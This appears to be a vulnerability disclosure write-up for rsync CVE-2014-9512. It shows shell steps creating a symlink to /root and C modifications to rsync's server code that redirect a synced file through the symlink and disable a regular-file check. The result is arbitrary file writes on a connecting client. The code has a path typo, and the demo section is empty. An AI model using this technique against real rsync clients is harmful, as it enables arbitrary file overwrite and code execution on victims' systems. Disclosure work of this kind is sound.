Summary

Vulnerable App

Rsync

Author

Yaseng

Team

Baidu X-team

CVE

CVE-2014-9512



In newest version rsync(3.1.1),directly modify the file path into absolute path is
not hijack succeed due to the security checks,but using symbolic links still can bypass
security checks and spoofing client.When a client uses parameter -a to synchronize
files of the server-side(default),for example:

-avzP 127.0.0.1::share```
1
2
3
4
5
6
7
8
9
Rsync recursive synchronous all files,An attacker can hijack the file path  by modifying
the code of the server-side,allows remote  servers to write to arbitrary files, and 
consequently execute arbitrary code .
<!--more-->

### Vulnerability  Details 

    Firstly,i write a following file into the shared folder in rsync:a true folder
 and a symbolic link are directed to the root directory .

[root@pentest rsync]# ls -lh
total 8.0K
-rw-r–r– 1 root root 2 Oct 31 03:16 1.txt
lrwxrwxrwx 1 root root 6 Oct 31 05:09 fakedir -> /root/
drwxr-xr-x 2 root root 4.0K Oct 31 05:08 truedir

1
Then enter the truedir folder, create a new file  name "pwned".

[root@pentest rsync]# cd truedir/
[root@pentest truedir]# ls
[root@pentest truedir]# echo rsync test > pwned
[root@pentest truedir]# ls -lh
total 4.0K
-rw-r–r– 1 root root 11 Oct 31 05:17 pwned
[root@pentest truedir]#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Next I modify the server to send the file code,in the process of synchronizing,the path
of file "pwned" can be blocked and changed into any path.For example as follow code,change
true path  (truedir) to symbolic link (fakedir),this would put the Pwned file to download
to the symbolic link  points to the address (fakedir -> /root/).
file: flist.c    line:394
``` c
static void send_file_entry(int f, const char *fname, struct file_struct *file,
#ifdef SUPPORT_LINKS
			    const char *symlink_name, int symlink_len,
#endif
			    int ndx, int first_ndx)
{
  if(strcmp(fname,"turedir/pwned") == 0){

  	fname="fakedir/pwned";  // symbolic link 
//change  file  true path(truedir) to  symbolic link  (fakedir)
)
}

Then, verification occurs in the server-side and says “received request to transfer
non-regular file fakedir/pwned.test 7 [sender]”, But as an attacker, the code of the
server-side can be arbitrarily controlled,Shielding the following code.
file:rsync.c line:405

1
2
3
4
5
6
7
8
9
10
/* if (iflags &amp; ITEM_TRANSFER) {
		int i = ndx - cur_flist->ndx_start;
		if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {
			rprintf(FERROR,
				"received request to transfer non-regular file: %d [%s]\n",
				ndx, who_am_i());
			exit_cleanup(RERR_PROTOCOL);
		}
	}
*/

Vulnerability Demo

server-side(attacker):

client-side(victim):